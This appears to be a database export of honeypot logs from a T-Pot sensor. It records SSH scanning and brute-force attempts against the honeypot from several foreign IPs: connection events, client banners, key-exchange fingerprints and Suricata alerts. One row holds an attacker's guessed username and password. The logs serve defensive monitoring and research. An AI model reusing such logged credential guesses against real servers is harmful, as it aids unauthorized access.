"server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 50924, "timestamp": "2021-09-20T11:17:42.529027", "@timestamp": "2021-09-20T11:17:42.529Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28464	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:17:34.873709+03	2021-09-20 14:30:02.866524+03	{"_id": "bQbsAnwBvYTbRNuE8C6F", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [aidvolunteers/41dv0lunt33rs] failed", "session": "7eaf013a0b85", "@version": "1", "password": "41dv0lunt33rs", "username": "aidvolunteers", "timestamp": "2021-09-20T11:17:34.873709Z", "@timestamp": "2021-09-20T11:17:34.873Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
28465	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:17:35.406331+03	2021-09-20 14:30:02.867524+03	{"_id": "bwbsAnwBvYTbRNuE9C5t", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 7 seconds", "session": "bab90381a08c", "@version": "1", "duration": 7.779946327209473, "timestamp": "2021-09-20T11:17:35.406331Z", "@timestamp": "2021-09-20T11:17:35.406Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
28466	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:17:36.877439+03	2021-09-20 14:30:02.869523+03	{"_id": "cAbsAnwBvYTbRNuE-C5W", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 5 seconds", "session": "7eaf013a0b85", "@version": "1", "duration": 5.877431392669678, "timestamp": "2021-09-20T11:17:36.877439Z", "@timestamp": "2021-09-20T11:17:36.877Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
28467	192.168.176.2	109.199.241.180	Suricata	2021-09-20 14:17:37.152214+03	2021-09-20 14:30:02.870524+03	{"_id": "cQbsAnwBvYTbRNuE-i4a", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:17:37.152214+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 66}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.176.2", "stream": 0, "dest_ip": "116.105.211.46", "flow_id": 332198235427478, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 22, "dest_port": 55460, "timestamp": "2021-09-20T11:17:37.152214Z", "@timestamp": "2021-09-20T11:17:37.152Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
28468	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:17:37.908284+03	2021-09-20 14:30:02.871524+03	{"_id": "fQbtAnwBvYTbRNuEAC4n", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "68326f9ed09c", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:17:37.908284Z", "@timestamp": "2021-09-20T11:17:37.908Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
28469	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:17:38.219027+03	2021-09-20 14:30:02.873524+03	{"_id": "eQbsAnwBvYTbRNuE_y5I", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 54834, "dest_port": 22, "timestamp": "2021-09-20T11:17:38.219027", "@timestamp": "2021-09-20T11:17:38.219Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28470	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:17:37.9051+03	2021-09-20 14:30:02.874525+03	{"_id": "fAbtAnwBvYTbRNuEAC4n", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:54834 (192.168.176.2:22) [session: 68326f9ed09c]", "session": "68326f9ed09c", "@version": "1", "protocol": "ssh", "src_port": 54834, "dest_port": 22, "timestamp": "2021-09-20T11:17:37.905100Z", "@timestamp": "2021-09-20T11:17:37.905Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
28471	5.188.62.196	109.199.241.180	Suricata	2021-09-20 14:17:48.397632+03	2021-09-20 14:30:02.875524+03	{"_id": "1QbtAnwBvYTbRNuEKS4C", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "Go"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "5.188.62.196", "dest_ip": "192.168.20.116", "flow_id": 1711754616513853, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 47954, "dest_port": 22, "timestamp": "2021-09-20T11:17:48.397632Z", "@timestamp": "2021-09-20T11:17:48.397Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
28472	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:17:49.612348+03	2021-09-20 14:30:02.877524+03	{"_id": "2QbtAnwBvYTbRNuEKy4q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 6 seconds", "session": "cd0750eb20c0", "@version": "1", "duration": 6.360943555831909, "timestamp": "2021-09-20T11:17:49.612348Z", "@timestamp": "2021-09-20T11:17:49.612Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
28473	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:17:49.666262+03	2021-09-20 14:30:02.878523+03	{"_id": "3QbtAnwBvYTbRNuEKy4q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-Go'", "session": "373d7f38ef6e", "version": "b'SSH-2.0-Go'", "@version": "1", "timestamp": "2021-09-20T11:17:49.666262Z", "@timestamp": "2021-09-20T11:17:49.666Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
28474	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:17:49.729403+03	2021-09-20 14:30:02.879523+03	{"_id": "4AbtAnwBvYTbRNuEKy4r", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-gcm@openssh.com", "chacha20-poly1305@openssh.com", "aes128-ctr", "aes192-ctr", "aes256-ctr", "aes128-cbc", "3des-cbc", "arcfour", "arcfour128", "arcfour256"], "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "hassh": "eccf733a56108dec8ecc8efbc681be63", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512", "hmac-sha2-256", "hmac-sha1", "hmac-sha1-96"], "compCS": ["none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ssh-ed25519-cert-v01@openssh.com", "ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss", "ssh-ed25519"], "message": "SSH client hassh fingerprint: eccf733a56108dec8ecc8efbc681be63", "session": "373d7f38ef6e", "@version": "1", "timestamp": "2021-09-20T11:17:49.729403Z", "@timestamp": "2021-09-20T11:17:49.729Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256;hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none"}}	1	\N	cowrie.client.kex	\N	\N	\N
28475	5.188.62.196	109.199.241.180	Suricata	2021-09-20 14:17:49.728614+03	2021-09-20 14:30:02.880524+03	{"_id": "4gbtAnwBvYTbRNuELC7r", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "Go"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "5.188.62.196", "dest_ip": "192.168.20.116", "flow_id": 1031116116798163, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 46848, "dest_port": 22, "timestamp": "2021-09-20T11:17:49.728614Z", "@timestamp": "2021-09-20T11:17:49.728Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
28476	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:17:50.151214+03	2021-09-20 14:30:02.881524+03	{"_id": "5AbtAnwBvYTbRNuELi4w", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "36.27.214.211", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 59020, "timestamp": "2021-09-20T11:17:50.151214", "@timestamp": "2021-09-20T11:17:50.151Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28477	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:17:50.146003+03	2021-09-20 14:30:02.883524+03	{"_id": "6wbtAnwBvYTbRNuELy4U", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 36.27.214.211:59020 (192.168.176.2:22) [session: f9e93abe46a4]", "session": "f9e93abe46a4", "@version": "1", "protocol": "ssh", "src_port": 59020, "dest_port": 22, "timestamp": "2021-09-20T11:17:50.146003Z", "@timestamp": "2021-09-20T11:17:50.146Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
28478	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:17:50.149001+03	2021-09-20 14:30:02.884523+03	{"_id": "8QbtAnwBvYTbRNuELy4U", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "f9e93abe46a4", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:17:50.149001Z", "@timestamp": "2021-09-20T11:17:50.149Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
28479	36.27.214.211	109.199.241.180	Suricata	2021-09-20 14:17:50.439215+03	2021-09-20 14:30:02.885524+03	{"_id": "8gbtAnwBvYTbRNuEMC7T", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "36.27.214.211", "dest_ip": "192.168.20.116", "flow_id": 1131586139261802, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 59020, "dest_port": 22, "timestamp": "2021-09-20T11:17:50.439215Z", "@timestamp": "2021-09-20T11:17:50.439Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
28482	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:18:04.156272+03	2021-09-20 14:30:02.890524+03	{"_id": "_wbtAnwBvYTbRNuEYy6h", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 14488768815507, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 51266, "dest_port": 22, "timestamp": "2021-09-20T11:18:04.156272Z", "@timestamp": "2021-09-20T11:18:04.156Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
